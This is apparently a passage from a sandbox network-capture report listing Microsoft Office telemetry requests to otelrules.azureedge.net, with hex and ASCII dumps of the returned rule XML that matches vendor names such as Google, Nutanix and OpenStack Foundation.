2024-11-23 20:12:26 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	49866	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:26 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:26 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 5b8d3f05-a01e-006f-2465-3b13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201226Z-178bfbc474bw8bwphC1NYC38b400000004wg0000000008ra x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:26 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:28 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:29 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: f47ed088-401e-0029-7f4d-3c9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201229Z-15b8b599d88m7pn7hC1TEB4axw00000003eg00000000asy2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:29 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:28 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:29 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 3698648a-601e-005c-5705-3df06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201229Z-178bfbc474bbcwv4hC1NYCypys00000004u00000000093qp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:29 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:28 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:29 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: b6ecb1ee-501e-008f-3044-3c9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201229Z-15b8b599d88cn5thhC1TEBqxkn000000036g00000000kbfn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:29 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	49873	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:28 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:29 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: c2dc1527-b01e-0053-5db2-3bcdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201229Z-174c587ffdftjz9shC1TEBsh98000000037000000000gp24 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:29 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49874	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:29 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:29 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: ce4e00c6-401e-00a3-3516-3d8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201229Z-178bfbc474bwh9gmhC1NYCy3rs00000004y000000000hk0q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:29 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49876	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:31 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:31 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 43acaf28-701e-006f-5cf7-3cafc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201231Z-178bfbc474btvfdfhC1NYCa2en0000000510000000008t4e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:31 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	49875	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:31 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:31 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 7bd180c9-401e-008c-0e8c-3a86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201231Z-174c587ffdfldtt2hC1TEBwv9c00000003b0000000001t8y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:31 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:31 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:32 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 0fd64145-d01e-0028-790a-3d7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201232Z-178bfbc474bw8bwphC1NYC38b400000004ug000000005t9r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:32 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49877	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:31 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:32 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: a7625850-801e-007b-654c-3ce7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201232Z-178bfbc474bvjk8shC1NYC83ns00000004r000000000hx21 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:32 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49879	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:31 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:32 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 8e68b2a4-701e-005c-1a8c-3abb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201232Z-174c587ffdf8fcgwhC1TEBnn7000000003mg000000007k7t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:32 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	49880	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:33 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
